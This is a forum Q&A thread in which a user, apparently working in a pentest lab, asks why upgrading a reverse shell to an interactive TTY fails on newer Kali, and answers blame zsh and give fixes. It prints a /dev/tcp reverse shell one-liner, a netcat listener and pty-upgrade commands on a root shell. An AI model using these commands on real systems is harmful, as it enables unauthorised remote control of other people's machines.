I successfully got a reverse shell:

nc -lnvp 8000 # in Kali
/bin/bash -i >& /dev/tcp/ 0>&1 # in the victim machine

I tried to upgrade it in the standard way:

python -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo
export TERM=xterm

However, after running stty raw -echo and bringing the reverse shell back to the foreground with fg, the reverse shell doesn't working properly. When I press the ENTER button to attempt to run a command, then it prints ^M. Since the ENTER button doesn't work, I can't run any commands and I can't use the shell.

I know the commands are correct, because it used to work, but after upgrading to the latest Kali Linux, it doesn't work anymore.

Full output of terminal session when trying to upgrade the shell:

└─$ nc -lnvp 8000
listening on [any] 8000 ...
connect to [] from (UNKNOWN) [] 46138
root@9070f0e8043f:/# id 
uid=0(root) gid=0(root) groups=0(root)
root@9070f0e8043f:/# python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
root@9070f0e8043f:/# ^Z
zsh: suspended  nc -lnvp 8000
└─$ stty raw -echo                                                         148 ⨯ 1 ⚙
                                     └─$                                             fg                          
[1]  + continued  nc -lnvp 8000
                               export TERM=xterm^M^M

2 Answers 2


The reason why it doesn't work in Kali Linux is because the latest Kali uses the zsh shell by default, not bash. To get it to work, you just have to make sure you're using the bash shell.

To temporarily switch to a bash shell, run the following command in your terminal:

exec bash --login

You can confirm if you're using bash by running:

ps -p $$

In the terminal which uses bash, run the listener and run the commands to upgrade the shell:

python -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo
export TERM=xterm

As long as you're using bash and not zsh, it will work.


for zsh change it to....

python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm-256color

no need to downgrade your shell. :)

  • 1
    Struggled for days with my reverse shell and finally found this answer, thanks ! For everyone, what actually mattered for me was "stty raw -echo; fg". It MUST be on one line to prevent having the ^M after. Thx again !
    – thibon
    Sep 2, 2022 at 13:58

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .